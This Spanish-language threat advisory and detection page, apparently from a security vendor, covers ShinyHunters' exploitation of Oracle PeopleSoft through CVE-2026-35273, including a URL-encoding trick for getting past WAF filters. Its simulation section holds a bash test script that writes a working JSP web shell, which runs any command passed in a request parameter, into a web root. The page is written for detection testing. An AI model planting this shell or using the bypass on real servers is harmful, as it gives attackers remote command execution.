ShinyHunters Reanuda Ataques a Gran Escala Dirigidos a Oracle PeopleSoft
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El actor de amenaza UNC6240 (ShinyHunters) ha reanudado la explotación a gran escala de los sistemas Oracle PeopleSoft a través de CVE-2026-35273. La campaña aprovecha las rutas codificadas en URL para sortear los Firewalls de Aplicaciones Web (WAF) y acceder al punto final vulnerable de Environment Management Hub. Los atacantes despliegan múltiples web shells junto con el backdoor SIDEEYE para establecer persistencia, mantener acceso no autorizado y facilitar la exfiltración de datos.
Investigación
Mandiant y Google Threat Intelligence Group documentaron una transición de la explotación de día cero en junio de 2026 a ataques de N-día contra entornos sin parches. Los investigadores identificaron el uso de codificación en URL (/PSEMHUB/) para evadir el filtrado basado en cadenas de los WAF. El análisis reveló una secuencia de ataque recurrente que involucra la validación del objetivo a través de objetos Java serializados, seguida por el despliegue de instaladores troyanizados y utilidades de túnel.
Mitigación
Las organizaciones deben instalar de inmediato el parche de Alerta de Seguridad de Oracle que aborda el CVE-2026-35273 y deshabilitar o eliminar la aplicación PSEMHUB. Las configuraciones de WAF deben inspeccionar y bloquear rutas de URL normalizadas en lugar de depender exclusivamente de la coincidencia de cadenas literales. Los equipos de seguridad también deben rotar las credenciales accesibles desde el nivel web y examinar los directorios de la aplicación en busca de archivos sospechosos o no autorizados.
Respuesta
Si se descubre un web shell, los defensores deben considerar al host afectado como completamente comprometido y preservar la evidencia forense antes de la remediación. Habilitar la auditoría a nivel de host para identificar procesos de shell inesperados lanzados por el proceso Java de WebLogic. Rotar las credenciales expuestas, incluidas las cadenas de conexión a bases de datos y credenciales de la nube, mientras se revisa la actividad de red saliente en busca de indicadores de C2 conocidos.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Detecciones
Posible Enumeración del Sistema (vía cmdline)
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Posible Manipulación de Cadenas Codificadas en Base64 (vía cmdline)
Carga / Descarga Remota de Archivos mediante Herramientas Estándar (vía cmdline)
IOCs (HashSha256) para detectar: Campaña Renovada de Explotación Masiva de ShinyHunters dirigida a Oracle PeopleSoft
IOCs (SourceIP) para detectar: Campaña Renovada de Explotación Masiva de ShinyHunters dirigida a Oracle PeopleSoft
IOCs (DestinationIP) para detectar: Campaña Renovada de Explotación Masiva de ShinyHunters dirigida a Oracle PeopleSoft
Despliegue de Web Shell a través de Explotación de CVE-2026-35273 [Creación de Procesos de Windows]
Explotación de UNC6240 de Oracle PeopleSoft utilizando Web Shells [Servidor Web]
Ejecución de Simulación
-
Narrativa del Ataque & Comandos: El adversario identifica una instancia de Oracle PeopleSoft y busca explotar una vulnerabilidad. Para eludir las firmas simples de WAF que buscan la cadena «PSEMHUB», el atacante utiliza la codificación de URL para solicitar
/PSEMHUB/. Tras una explotación exitosa, el atacante deja caer un web shell llamadox.jspen el raíz web para proporcionar una interfaz persistente para la ejecución de comandos. Esta secuencia imita los indicadores específicos de compromiso (IOCs) identificados en la campaña de explotación UNC6240. -
Script de Prueba de Regresión:
#!/bin/bash # Script de Simulación para Detección de Web Shell de UNC6240 # 1. Definir rutas (Ajustar según el entorno objetivo) WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" TARGET_URL="http://localhost/PSEMHUB/" echo "[+] Creando web shell simulado: $WEB_ROOT/$SHELL_NAME" # Crear contenido simple de web shell JSP echo '<% out.print(new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("A").next()); %>' | sudo tee $WEB_ROOT/$SHELL_NAME > /dev/null echo "[+] Activando detección vía solicitud codificada en URL..." # Usar curl para solicitar la ruta codificada y generar la entrada en el log curl -s "$TARGET_URL" > /dev/null echo "[+] Simulación completada. Revisar SIEM para detección." -
Comandos de Limpieza:
#!/bin/bash # Script de Limpieza WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" echo "[+] Limpiando archivos de simulación..." sudo rm -f $WEB_ROOT/$SHELL_NAME echo "[+] Limpieza terminada."